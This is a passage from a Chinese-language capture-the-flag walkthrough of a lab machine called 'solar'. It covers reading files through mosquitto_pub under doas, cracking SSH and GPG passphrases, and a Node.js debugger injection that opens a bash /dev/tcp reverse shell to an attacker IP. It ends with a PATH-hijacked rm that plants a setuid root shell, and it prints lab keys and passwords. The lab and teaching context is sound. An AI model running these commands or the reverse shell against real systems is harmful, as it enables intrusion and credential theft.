-l : 从标准输入读取消息,每行发送一个单独的消息。

-n : 发送一个空(长度为零)的消息。

-m : 要发送的消息内容。

利用一下

将文件内容通过mqtt协议发送到readfile

1
2
(remote) www-data@solar:/tmp$ doas -u lenam /usr/bin/mosquitto_pub -L mqtt://5up3r:[email protected]:1883/readfile -f /home/lenam/user.txt
(remote) www-data@solar:/tmp$ doas -u lenam /usr/bin/mosquitto_pub -L mqtt://5up3r:[email protected]:1883/readfile -f /home/lenam/.ssh/id_ed25519

订阅一下readfile

image

即可拿到user和私钥文件

1
2
3
4
5
6
7
8
9
10
c25e7b68dd71d1ca9d8f86da2df12035
-----------------------------------------
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABACAiuY2y
KncKfFktSk6euqAAAAEAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIE8G8M95Y8BUlMqb
Tsv9CKcq8mefKwEnXrGTswVfh0xoAAAAkIJIgfgFcAYwUAewcKCiH1cqgQJbCzjAwXYAxB
u9G7Pr0WVwHcGPoksvuYrPodhd7dzkh1qYbNJvVkxgY1b99U8iANbgDjln+V48BWPY5/OG
R2ozwP2jgHFCyBdwqMr2zVnZbHA05br5wQoKWSEzmSC1N16q/BGuOIUr3lDKPq4fJLdb7o
I2a07w0+3R/Wlbcw==
-----END OPENSSH PRIVATE KEY-----

如果你不知道私钥文件名的话,可以先读authorized_keys

image

不过可惜的是用户lenam的私钥加密了

并且爆了很久都出不来

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ vim id_rsa
❯ ssh lenam@$ip -i id_rsa
The authenticity of host '192.168.60.196 (192.168.60.196)' can't be established.
ED25519 key fingerprint is SHA256:kTjXocnCwQwlJcqy1zaGjV9iWw+8eykL5i8L2hzvYe4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.60.196' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa':

❯ ssh2john id_rsa >hash
❯ john hash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
………………………………

lenam用户提权

尝试枚举lenam用户家目录下的文件

1
(remote) www-data@solar:/home/lenam$ doas -u lenam /usr/bin/mosquitto_pub -L mqtt://5up3r:[email protected]:1883/readfile -f /home/lenam/.nanorc

image

从中得知nano编辑器设置了history

但nano的history文件在哪呢

-f参数如果不是文件是目录的话会提示,没法读

1
2
3
4
(remote) www-data@solar:/home/lenam$ doas -u lenam /usr/bin/mosquitto_pub -L mqtt://5up3r:[email protected]:1883/readfile -f /home/lenam/.gnupg
Error: File must be less than 268435455 bytes.

Error loading input file "/home/lenam/.gnupg".

在一个字典中找到了nano历史的路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ wget https://github.com/bhavesh-pardhi/Wordlist-Hub/raw/refs/heads/main/WordLists/dotfiles.txt
--2025-02-20 23:22:28-- https://github.com/bhavesh-pardhi/Wordlist-Hub/raw/refs/heads/main/WordLists/dotfiles.txt
Resolving github.com (github.com)... 20.205.243.166
Connecting to github.com (github.com)|20.205.243.166|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://raw.githubusercontent.com/bhavesh-pardhi/Wordlist-Hub/refs/heads/main/WordLists/dotfiles.txt [following]
--2025-02-20 23:22:31-- https://raw.githubusercontent.com/bhavesh-pardhi/Wordlist-Hub/refs/heads/main/WordLists/dotfiles.txt
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.111.133, 185.199.108.133, ...
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 18769 (18K) [text/plain]
Saving to: ‘dotfiles.txt’

dotfiles.txt 100%[===============>] 18.33K --.-KB/s in 0.04s

2025-02-20 23:22:31 (456 KB/s) - ‘dotfiles.txt’ saved [18769/18769]

❯ grep -Pnir 'nano' dotfiles.txt
760:.nano_history
761:.nano/
762:.nano/search_history

不过这个文件并不直接在家目录下

我查看了本机的nano history 原来是放在share文件夹中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
ls -al ../.local/share
total 72
drwx------ 17 Pepster Pepster 4096 Feb 19 22:00 .
drwxr-xr-x 7 Pepster Pepster 4096 Jan 2 20:57 ..
drwxr-xr-x 2 Pepster Pepster 4096 Jan 1 15:08 applications
drwxr-xr-x 4 Pepster Pepster 4096 Nov 15 12:45 gem
drwx------ 2 Pepster Pepster 4096 Jan 17 16:23 gvfs-metadata
drwx------ 3 Pepster Pepster 4096 Nov 20 17:16 hashcat
drwxr-xr-x 2 Pepster Pepster 4096 Nov 14 15:33 icc
drwx------ 2 Pepster Pepster 4096 Jan 1 15:09 keyrings
drwxr-xr-x 3 Pepster Pepster 4096 Dec 4 20:08 man
drwx------ 2 Pepster Pepster 4096 Dec 8 17:34 nano
drwxr-xr-x 3 Pepster Pepster 4096 Nov 14 15:33 nautilus
drwx------ 2 Pepster Pepster 4096 Dec 8 22:54 nvim
drwxr-xr-x 5 Pepster Pepster 4096 Nov 20 19:14 pipx
drwxr-xr-x 2 Pepster Pepster 4096 Dec 9 19:43 ranger
-rw------- 1 Pepster Pepster 3406 Feb 19 22:00 recently-used.xbel
drwxr-xr-x 4 Pepster Pepster 4096 Nov 25 15:18 sqlmap
drwxr-xr-x 40 Pepster Pepster 4096 Feb 1 21:53 tldr
drwx------ 2 Pepster Pepster 4096 Jan 7 21:50 xrdp

~/.local/share这个目录是基于用户的配置和数据文件的标准位置,用于存储各种应用程序的数据和配置文件。

所以猜测正确路径应该就是~/.local/share/nano/search_history

没有报错,那文件就是存在的

1
(remote) www-data@solar:/home/lenam$ doas -u lenam /usr/bin/mosquitto_pub -L mqtt://5up3r:[email protected]:1883/readfile -f /home/lenam/.local/share/nano/search_history

得到私钥密码CzMO48xpwof8nvQ6JUhF

image

尝试连接一下

GPG密码爆破

有个note提示

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ ssh lenam@$ip -i id_rsa
Enter passphrase for key 'id_rsa':
Linux solar 6.1.0-25-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.106-3 (2024-08-26) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Thu Oct 24 06:51:32 2024 from 192.168.1.116
lenam@solar:~$ cat note.txt
You just have to remember the one that starts with love and ends with a number.
你只需要记住以爱开始并以数字结尾的那个。

你可以观察用户家目录下的文件结构,发现安装了Password Store基于 GPG 的简单密码管理工具

1
2
3
4
5
6
7
lenam@solar:~$ pass
Password Store
├── personal
│   ├── private_id
│   └── user
└── work
└── office

personal:个人密码存储的目录。

  • private_id:存储在 personal 目录中的一个文件,可能是你的私人标识(ID)信息。
  • user:存储在 personal 目录中的另一个文件,可能是你的用户信息。

work:工作相关密码存储的目录。

  • office:存储在 work 目录中的一个文件,可能是与你工作相关的信息。

我们就需要获取其中的personal中存储的密码

当我想要查看user的密码会让你输入密钥

1
2
3
lenam@solar:~$ pass personal/user
gpg: WARNING: unsafe permissions on homedir '/home/lenam/.gnupg'
gpg: decryption failed: No secret key

image

gpg给出个警告表明 /home/lenam/.gnupg 目录的权限设置不安全

这就导致我们可以读取GunPG的密钥文件

private-keys-v1.d

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
lenam@solar:~$ cd .gnupg/
lenam@solar:~/.gnupg$ tree
.
├── gpg-agent.conf
├── openpgp-revocs.d
│   └── E6DB2B029F01725397A555CD6CE6C909C038D50C.rev
├── private-keys-v1.d
│   ├── 18DB29FBB15652340964CF0E1C710F34AA848ADD.key
│   └── C622C75FED7EF077FDE1AB4D6A1F5D37E4896A95.key
├── pubring.kbx
├── pubring.kbx~
├── random_seed
├── tofu.db
└── trustdb.gpg

3 directories, 9 files

我们利用gpg列出私钥

1
2
3
4
5
6
7
8
9
10
lenam@solar:~/.gnupg$ gpg --list-secret-keys --with-keygrip
gpg: WARNING: unsafe permissions on homedir '/home/lenam/.gnupg'
/home/lenam/.gnupg/pubring.kbx
------------------------------
sec rsa3072 2024-08-29 [SC]
E6DB2B029F01725397A555CD6CE6C909C038D50C
Keygrip = 18DB29FBB15652340964CF0E1C710F34AA848ADD
uid [ultimate] secret <[email protected]>
ssb rsa3072 2024-08-29 [E]
Keygrip = C622C75FED7EF077FDE1AB4D6A1F5D37E4896A95

sec: 表示这是一个私钥(Secret key)。

rsa3072: 密钥类型和长度,这里是 3072 位的 RSA 密钥。

2024-08-29: 密钥的创建日期。

[SC]: 密钥用途(S: 签名,C: 认证)。

E6DB2B029F01725397A555CD6CE6C909C038D50C: 密钥的指纹。

Keygrip = 18DB29FBB15652340964CF0E1C710F34AA848ADD: 私钥的 Keygrip。

ssb: 表示这是一个子私钥(Subkey)。

[E]: 子密钥用途(E: 加密)。

Keygrip = C622C75FED7EF077FDE1AB4D6A1F5D37E4896A95: 子密钥的 Keygrip

从中得知私钥类型是RSA并且是3072位的,爆破难度非常大

回顾上文的提示中,让我们找到以love开头并以数字结尾的密码

尝试利用scp.password-store .gnupg下载到本地

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
❯ scp -ri id_rsa lenam@$ip:~/.password-store .
Enter passphrase for key 'id_rsa':
.gpg-id 100% 7 1.2KB/s 00:00
user.gpg 100% 471 117.4KB/s 00:00
private_id.gpg 100% 471 144.4KB/s 00:00
office.gpg 100% 463 88.3KB/s 00:00

❯ scp -ri id_rsa lenam@$ip:~/.gnupg .
Enter passphrase for key 'id_rsa':
tofu.db 100% 48KB 12.0MB/s 00:00
pubring.kbx 100% 1954 1.7MB/s 00:00
random_seed 100% 600 309.8KB/s 00:00
gpg-agent.conf 100% 36 31.7KB/s 00:00
trustdb.gpg 100% 1280 1.2MB/s 00:00
.#lk0x000055afe4c8a3f0.solar.309336 100% 17 13.3KB/s 00:00
E6DB2B029F01725397A555CD6CE6C909C038D50C.rev 100% 1626 1.3MB/s 00:00
pubring.kbx~ 100% 1960 1.6MB/s 00:00
.#lk0x0000559a52e75c50.solar.134014 100% 17 15.2KB/s 00:00
C622C75FED7EF077FDE1AB4D6A1F5D37E4896A95.key 100% 3105 3.8MB/s 00:00
18DB29FBB15652340964CF0E1C710F34AA848ADD.key 100% 3105 4.2MB/s 00:00

我们筛选rockyou中符合条件的密码

1
2
3
❯ grep -P '^love.*[0-9]$' /usr/share/wordlists/rockyou.txt>pass.txt
wc -l pass.txt
22495 pass.txt

如果没装gnupg装一下

注意靶机中的私钥文件也要拷贝到本机家目录下的~/.gnupg中才能解密,亦或者你可以手动导入私钥才可以解密文件

利用gpg参数实现批量解密

得到密码loverboy1

1
2
3
4
5
sudo apt install gnupg
[sudo] password for Pepster:
for i in $(cat pass.txt);do gpg --batch --yes --passphrase $i --pinentry-mode loopback --decrypt .password-store/work/office.gpg 2>/dev/null&&echo "found pass $i";done
d1NpIh1bCKMx
found pass loverboy1

分别解密passstore中的密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ gpg --passphrase "loverboy1" --pinentry-mode loopback --decrypt .password-store/work/office.gpg
gpg: encrypted with 3072-bit RSA key, ID DC6D80A4CB2AE146, created 2024-08-29
"secret <[email protected]>"
d1NpIh1bCKMx

❯ gpg --passphrase "loverboy1" --pinentry-mode loopback --decrypt .password-store/personal/user.gpg
gpg: encrypted with 3072-bit RSA key, ID DC6D80A4CB2AE146, created 2024-08-29
"secret <[email protected]>"
qiFQI7buDp7zIQnAymEY

❯ gpg --passphrase "loverboy1" --pinentry-mode loopback --decrypt .password-store/personal/private_id.gpg
gpg: encrypted with 3072-bit RSA key, ID DC6D80A4CB2AE146, created 2024-08-29
"secret <[email protected]>"
CzMO48xpwof8nvQ6JUhF

julian用户提权

Crontab定时任务

拿到lenam的密码后即可执行doasjulian的身份执行kill

不过kill是杀死进程的作用

那我们看一下julian开了哪些进程吧

除了一个chrome浏览器的进程就只剩下一个node服务

1
2
3
lenam@solar:~$ ps aux|grep julian
julian 30118 2.7 3.9 1054324 79800 ? Ssl 21:19 0:01 /home/julian/.nvm/versions/node/v22.7.0/bin/node /home/julian/.local/bin/demoadm/login.js
julian 30129 10.1 9.0 34124880 182692 ? Ssl 21:19 0:04 /home/julian/.cache/puppeteer/chrome/linux-126.0.6478.126/chrome-linux64/chrome --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-extensions --disable-hang-monitor --disable-infobars --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-search-engine-choice-screen --disable-sync --enable-automation --export-tagged-pdf --generate-pdf-document-outline --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --disable-features=Translate,AcceptCHFrame,MediaRouter,OptimizationHints,ProcessPerSiteUpToMainFrameThreshold,IsolateSandboxedIframes --enable-features=PdfOopif --headless=new --hide-scrollbars --mute-audio about:blank --ignore-certificate-errors --remote-debugging-port=47000 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-mS2BEV

传个pspy上去监测一下进程

发现node会隔两分钟运行一次julian用户家目录下的/.local/bin/demoadm/login.js

1
2
3
4
5
6
2025/02/20 22:52:10 CMD: UID=1001  PID=52433  | /home/julian/.nvm/versions/node/v22.7.0/bin/node /home/julian/.local/bin/demoadm/login.js
2025/02/20 22:52:10 CMD: UID=1001 PID=52435 | /home/julian/.cache/puppeteer/chrome/linux-126.0.6478.126/chrome-linux64/chrome_crashpad_handler --monitor-self --monitor-self-annotation=ptype=crashpad-handler --database=/home/julian/.config/google-chrome-for-testing/Crash Reports --annotation=lsb-release=Debian GNU/Linux 12 (bookworm) --annotation=plat=Linux --annotation=prod=Chrome_Linux --annotation=ver=126.0.6478.126 --initial-client-fd=5 --shared-client-connection
----------------------省略------------------------
2025/02/20 22:54:13 CMD: UID=1001 PID=52924 | /home/julian/.nvm/versions/node/v22.7.0/bin/node /home/julian/.local/bin/demoadm/login.js
2025/02/20 22:54:13 CMD: UID=1001 PID=52926 | /home/julian/.cache/puppeteer/chrome/linux-126.0.6478.126/chrome-linux64/chrome --allow-pre-commit-input --disable-background-networking --disable-background-timer-throttling --disable-backgrounding-occluded-windows --disable-breakpad --disable-client-side-phishing-detection --disable-component-extensions-with-background-pages --disable-component-update --disable-default-apps --disable-dev-shm-usage --disable-extensions --disable-hang-monitor --disable-infobars --disable-ipc-flooding-protection --disable-popup-blocking --disable-prompt-on-repost --disable-renderer-backgrounding --disable-search-engine-choice-screen --disable-sync --enable-automation --export-tagged-pdf --generate-pdf-document-outline --force-color-profile=srgb --metrics-recording-only --no-first-run --password-store=basic --use-mock-keychain --disable-features=Translate,AcceptCHFrame,MediaRouter,OptimizationHints,ProcessPerSiteUpToMainFrameThreshold,IsolateSandboxedIframes --enable-features=PdfOopif --headless=new --hide-scrollbars --mute-audio about:blank --ignore-certificate-errors --remote-debugging-port=47000 --user-data-dir=/tmp/puppeteer_dev_chrome_profile-V63j4F

Node.js调试利用

通过查询node.js的用法发现node.js 提供了一种机制,可以通过发送 SIGUSR1 信号来启动或连接到调试器

信号事件 | Node.js API 文档

Node 调试工具入门教程 - 阮一峰的网络日志

image

利用kill向node进程发送SIGUSR1,由julian用户开启了node调试服务

我们再通过node连接本地的调试接口即可

但是我们只有两分钟的时间来在debug中执行命令,否则node.js的调试会话就会断开

出现Cannot find context with specified id就要重新执行了

1
2
3
4
5
6
7
8
9
10
11
12
lenam@solar:~$ doas -u julian /bin/kill -s SIGUSR1 $(pgrep "node")&&/home/julian/.nvm/versions/node/v22.7.0/bin/node inspect localhost:9229
doas (lenam@solar) password:
connecting to localhost:9229 ... ok
debug> exec("process.mainModule.require('child_process').exec('bash -c \"/bin/bash -i >& /dev/tcp/192.168.60.100/4444 0>&1\"')")
{ _events: Object,
_eventsCount: 2,
_maxListeners: 'undefined',
_closesNeeded: 3,
_closesGot: 0,
... }
debug>

图片隐写

同时kali中监听端口,家目录中有个my-pass.jpg图片

下载到本地

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
❯ pwncat-cs -lp 4444
[12:27:06] Welcome to pwncat 🐈! __main__.py:164
[12:46:49] received connection from 192.168.60.196:54224 bind.py:84
[12:47:09] 192.168.60.196:54224: registered new host w/ db manager.py:957
(local) pwncat$
(remote) julian@solar:/$ cd ~
(remote) julian@solar:/home/julian$ ls -al
total 436
drwxr-xr-x 9 julian julian 4096 Sep 4 21:36 .
drwxr-xr-x 4 root root 4096 Aug 28 19:01 ..
lrwxrwxrwx 1 root root 9 Aug 28 19:04 .bash_history -> /dev/null
-rw-rw---- 1 julian julian 220 Apr 23 2023 .bash_logout
-rw-rw---- 1 julian julian 3526 Apr 23 2023 .bashrc
drwxrwx--x 4 julian julian 4096 Aug 28 19:27 .cache
drwxrwx--x 3 julian julian 4096 Aug 28 19:16 .config
drwxrwx--x 3 julian julian 4096 Sep 4 11:35 .gnupg
-rw------- 1 julian julian 20 Sep 4 11:05 .lesshst
drwxrwx--x 4 julian julian 4096 Sep 1 18:34 .local
-rw------- 1 julian julian 386348 Sep 4 12:22 my-pass.jpg
lrwxrwxrwx 1 root root 9 Aug 28 19:05 .mysql_history -> /dev/null
-rw-rw---- 1 julian julian 16 Aug 29 19:45 .node_repl_history
drwxrwx--x 3 julian julian 4096 Aug 28 19:16 .npm
drwxrwx--x 5 julian julian 4096 Aug 28 19:15 .nvm
drwxrwx--x 3 julian julian 4096 Aug 28 19:16 .pki
-rw-rw---- 1 julian julian 904 Sep 4 18:11 .profile
(remote) julian@solar:/home/julian$
(local) pwncat$ download my-pass.jpg
my-pass.jpg ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ 100.0% • 386.3/386.3 KB • ? • 0:00:00
[12:49:31] downloaded 386.35KiB in 0.13 seconds

猜测含有图片隐写,解密得出密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
❯ stegcracker my-pass.jpg
StegCracker 2.1.0 - (https://github.com/Paradoxis/StegCracker)
Copyright (c) 2025 - Luke Paris (Paradoxis)

StegCracker has been retired following the release of StegSeek, which
will blast through the rockyou.txt wordlist within 1.9 second as opposed
to StegCracker which takes ~5 hours.

StegSeek can be found at: https://github.com/RickdeJager/stegseek

No wordlist was specified, using default rockyou.txt wordlist.
Counting lines in wordlist..
Attacking file 'my-pass.jpg' with wordlist '/usr/share/wordlists/rockyou.txt'..
Successfully cracked file with password: teresa
Tried 659 passwords
Your file has been written to: my-pass.jpg.out
teresa
cat my-pass.jpg.out
Password programmed

D'`r^9K=m54z8ywSeQcPq`M',+lZ(XhCC{@b~}<*)Lrq7utmrqji/mfN+ihgfe^F\"C_^]\[Tx;WPOTMqp3INGLKDhHA@d'CB;:9]=<;:3y76/S321q/.-,%Ij"'&}C{c!x>|^zyr8vuWmrqjoh.fkjchgf_^$\[ZY}W\UTx;WPOTSLp3INMLEJCg*@dDC%A@?8\}5Yzy1054-,P*)('&J$)(!~}C{zy~w=^zsxwpun4rqjih.leMiba`&^F\"CB^]Vzg

malbolge解密

越看越没头绪,有点像malbolge语言 尝试一下

可以参考HackMyVM-find-Walkthrough | Pepster’Blog

得到密码tk8QaHUi3XaMLYoP1BpZ

image

Root提权

通过doas的配置文件得知,julian可以设置环境变量后执行/usr/local/bin/backups

分析一下backups

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
(remote) julian@solar:/home/julian$ strings /usr/local/bin/backups
/lib64/ld-linux-x86-64.so.2
y f}|PS
dlclose
strlen
__ctype_b_loc
__libc_start_main
stderr
fprintf
dlsym
dlopen
__cxa_finalize
dlerror
__isoc99_sscanf
fwrite
libc.so.6
GLIBC_2.3
GLIBC_2.7
GLIBC_2.2.5
GLIBC_2.34
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
PTE1
u+UH
%2hhx
Usage: %s <database_name>
Invalid database name. Ensure it contains only letters, numbers, and underscores, and is between 1 and 64 characters long.
/var/www/sunfriends.nyx/database.sql.gz
05000b0b080a021c19471a06
Error loading library.
0a1b0c081d0c360a0604191b0c1a1a0c0d360b080a021c19
Error finding symbol.
Backup completed successfully: %s
;*3$"
GCC: (Debian 12.2.0-14) 12.2.0
Scrt1.o
__abi_tag
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
backups.c
__FRAME_END__
_DYNAMIC
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
dlerror@GLIBC_2.34
__libc_start_main@GLIBC_2.34
_ITM_deregisterTMCloneTable
_edata
_fini
strlen@GLIBC_2.2.5
__data_start
dlopen@GLIBC_2.34
fprintf@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__isoc99_sscanf@GLIBC_2.7
_end
validate_db_name
__bss_start
main
dlsym@GLIBC_2.34
fwrite@GLIBC_2.2.5
__TMC_END__
_ITM_registerTMCloneTable
decode_and_xor
dlclose@GLIBC_2.34
__cxa_finalize@GLIBC_2.2.5
_init
__ctype_b_loc@GLIBC_2.3
stderr@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

看样子是用于备份数据库

不过我们注意到在输入数据库路径后有两串十六进制字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
Usage: %s <database_name>
用法:%s <数据库名称>
Invalid database name. Ensure it contains only letters, numbers, and underscores, and is between 1 and 64 characters long.
数据库名称无效。确保它只包含字母、数字和下划线,并且长度在1到64个字符之间。
/var/www/sunfriends.nyx/database.sql.gz
05000b0b080a021c19471a06
Error loading library.
加载库时出错。
0a1b0c081d0c360a0604191b0c1a1a0c0d360b080a021c19
Error finding symbol.
找不到符号。
Backup completed successfully: %s
备份成功完成:%s

尝试利用CyberChef解码一下

得到第一个是个libbackup.so

第二个是create_compressed_backup

image

image

猜测你执行/usr/local/bin/backups会调用libbackup.so

那么找一下库文件分析一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
(remote) julian@solar:/home/julian$ find / -name libbackup.so -type f 2>/dev/null
/usr/lib/x86_64-linux-gnu/libbackup.so
(remote) julian@solar:/home/julian$ strings /usr/lib/x86_64-linux-gnu/libbackup.so
__gmon_start__
_ITM_deregisterTMCloneTable
_ITM_registerTMCloneTable
__cxa_finalize
create_compressed_backup
snprintf
system
stderr
fprintf
libc.so.6
GLIBC_2.2.5
u+UH
/usr/bin/mysqldump --databases %s > /tmp/temp.sql && /usr/bin/gzip /tmp/temp.sql -c > %s && rm /tmp/temp.sql
Error executing mysqldump and gzip. Exit code: %d
;*3$"
GCC: (Debian 12.2.0-14) 12.2.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.0
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
libbackup.c
__FRAME_END__
_fini
__dso_handle
_DYNAMIC
__GNU_EH_FRAME_HDR
__TMC_END__
_GLOBAL_OFFSET_TABLE_
_init
_ITM_deregisterTMCloneTable
system@GLIBC_2.2.5
snprintf@GLIBC_2.2.5
create_compressed_backup
fprintf@GLIBC_2.2.5
__gmon_start__
_ITM_registerTMCloneTable
__cxa_finalize@GLIBC_2.2.5
stderr@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.note.gnu.build-id
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.got.plt
.data
.bss
.comment

PATH劫持

发现会利用mysqldump gzip rm执行命令

不过前面两个命令是利用绝对路径来执行的

只可以劫持rm的PATH

1
/usr/bin/mysqldump --databases %s > /tmp/temp.sql && /usr/bin/gzip /tmp/temp.sql -c > %s && rm /tmp/temp.sql

但是你执行需要你输入数据库名字

1
2
3
(remote) julian@solar:/tmp$ doas -u root /usr/local/bin/backups
doas (julian@solar) password:
Usage: /usr/local/bin/backups <database_name>

这个时候就要用到最开始拿到的数据库文件了

筛选一下database

拿到名字solar_energy_db

1
2
❯ strings database.sql|grep -i database
-- Host: localhost Database: solar_energy_db

这时候我们在tmp目录下建一个rm

1
2
3
4
5
6
(remote) julian@solar:/tmp$ vi rm
cp /bin/bash /tmp/sh&&chmod +s /tmp/sh
(remote) julian@solar:/tmp$ chmod +x rm
(remote) julian@solar:/tmp$ PATH=/tmp:$PATH
(remote) julian@solar:/tmp$ echo $PATH
/tmp:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

因为doas.conf配置了setenv

所以当doas执行命令的时候会为程序创建一个与当前PATH相同的环境

这样就拿到root shell了

1
2
3
4
5
6
7
8
(remote) julian@solar:/tmp$ doas -u root /usr/local/bin/backups solar_energy_db
doas (julian@solar) password:
Backup completed successfully: /var/www/sunfriends.nyx/database.sql.gz
(remote) julian@solar:/tmp$ ls -al /tmp/sh
-rwsr-sr-x 1 root root 1265648 Feb 21 00:48 /tmp/sh
(remote) julian@solar:/tmp$ ./sh -p
(remote) root@solar:/tmp# cat /root/root.txt
44d981ce629f2077103ed9dc70d635f5

后记

真不容易啊,终于拿到root了🥳

我算是完整的复现了一遍吧

总体来说知识点非常多,基本上都没遇见过,全新的知识点

对于XSS的了解还是少了,GPG密码爆破也是一个新接触的知识

还有Nodejs的调试利用child_process模块调用exec执行命令

后续还涉及到反编译可执行文件之类的操作,那就更不用谈了

实打实自己做,是完全出不来的,估计到XSS那就卡住了,连user都拿不到

感谢Lenam作者为我们带来这么精彩的靶机

由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 502.5k